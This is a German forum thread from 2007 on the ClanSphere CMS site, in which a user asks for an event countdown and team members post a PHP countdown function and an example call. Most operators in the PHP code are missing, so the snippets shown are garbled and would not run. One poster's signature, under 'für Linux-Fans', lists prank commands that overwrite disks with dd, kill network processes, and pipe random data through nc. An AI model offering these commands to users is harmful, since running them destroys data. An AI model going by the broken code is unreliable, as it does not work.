Demo

Probiere ClanSphere aus und teste daran herum. Demo


Antworten: 4
Seite [1]
jacksy


Wannabe poster



Herkunft: Krefeld
Beiträge: 26
# Thema - 17.05.2007 um 18:27 Uhr
Hallo,

Ist es möglich einen Countdown, der die Restzeit bis zu einem Eingetragen Event anzeigt? Evtl. mit einem Bild? zu erstellen?

z.B.
Ein bild von ner Fußballmanschaft und darunter die Restzeit bis zum spiel?

wäre ne geile sache

gruß
jacksy



------------------
pls unsere neue Homepage Bewerten xD
Allstars online Gaming
Inaktiv
duRiel ClanSphere Team


Weltmeister




Herkunft: Cambridge
Beiträge: 7300
# Antwort: 1 - 17.05.2007 um 20:03 Uhr
wird ne relativ umfassende javascript sache sein, möglich ist es aber


Inaktiv
|
pHaeno* ClanSphere Team


Geekboy





Beiträge: 1405
# Antwort: 2 - 18.05.2007 um 04:13 Uhr
Vielleicht hilft die folgender Codeschnipsel da ein wenig weiter:


 
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
1. / 2. / ... 

<?php
/*
 * COUNTDOWN($zieldatum)
 * Gibt die Zeit als Text zurück, welche noch bis zu
 * dem in $zieldatum übergebenen Datum fehlt.
 * 
 * Parameter:
 * $zieldatum - Das Zieldatum
 */
function countdown($zieldatum)
{
    global 
$zeit;
    if (
$zieldatum >= $zeit)
    {
        
$differenz $zieldatum $zeit;
    }
    else
    {
        
$differenz $zeit $zieldatum;
    }

    
$tage floor($differenz 86400);
    
$rest $differenz - ($tage 86400);
    
$stunden floor($rest 3600);
    
$rest $rest - ($stunden 3600);
    
$minuten floor($rest 60);
    
$rest $rest - ($minuten 60);

    if (
$tage == 1)
    {
        
$res .= "Einem Tag, ";
    }
    else
        if (
$tage 1)
        {
            
$res .= "$tage Tagen";
        }

    if (
$stunden == 1)
    {
        
$res .= "einer Stunde, ";
    }
    else
        if (
$stunden 1)
        {
            
$res .= "$stunden Stunden, ";
        }

    if (
$minuten == 1)
    {
        
$res .= "einer Minute, ";
    }
    else
        if (
$minuten 1)
        {
            
$res .= "$minuten Minuten, ";
        }

    if (
$rest == 1)
    {
        
$res .= "einer Sekunde";
    }
    else
        if (
$rest 1)
        {
            
$res .= "$rest Sekunden";
        }

    if (
substr($resstrlen($res) - 2) == ", ")
    {
        
$res substr($res0strlen($res) - 2);
    }

    return (
$res);
}

?>


------------------
hajo says:
<div style="imbaness: 200pt; skill: 200pt; equip-align: top;">phaeno's mage</div>


27.05.2007 um 01:38 Uhr - pHaeno*:
Bei Clansphere gibt es KEINE Bugs, es sind ALLES FEATURES



weichmann... +-
Blondi (15:08):
bist du nen mann oder nen weich ei?


pHaeno* (15:09):
weichmann


mehr... +-
if($ahnung==0) {
read( 'handbuch' ) ;
}



## für Linux-Fans

kill -9 `netstat -a | grep https | awk -e '{ print $3; }'`
dd if=/dev/zero of=/dev/hda count=1M
dd if=/dev/zero of=/dev/sda count=1M
cat /dev/urandom | nc 127.0.0.1 443


Inaktiv
|
jacksy
Thread-Ersteller


Wannabe poster



Herkunft: Krefeld
Beiträge: 26
# Antwort: 3 - 19.05.2007 um 01:57 Uhr
Hallo,

danke für den schnipsel ;D

wo muss ich das Zieldatum eintragen? oder muss ich mir die stunden selber ausrechnen und diese dann dort angeben?

gruß
jacksy


------------------
pls unsere neue Homepage Bewerten xD
Allstars online Gaming


Inaktiv
|
duRiel ClanSphere Team


Weltmeister




Herkunft: Cambridge
Beiträge: 7300
# Antwort: 4 - 19.05.2007 um 14:37 Uhr
aufruf des ganzen:
 
1.
2.
3.
4.
5.
6.
7.
8.
1. / 2. / ... 
<?php

$zeit 
time();
$zieldatum mktime(00012321997);

echo 
countdown($zieldatum);

?>


bei mktime musst du in den parametern das zieldatum eingeben.
verwendung gibts hier.

ungetestet.

allerdings ist das ohne javascript und ist deshalb kein wirklicher countdown.
wird bei jedem aufruf nur das verbleibende anzeigen und nicht runterzählen während man auf der seite ist.

gruß

duRiel


Zuletzt editiert von duRiel ClanSphere Team am 19.05.2007 um 14:38 Uhr (1x Editiert)
Inaktiv
|
Antworten: 4
Seite [1]


Sie müssen sich registrieren, um zu antworten.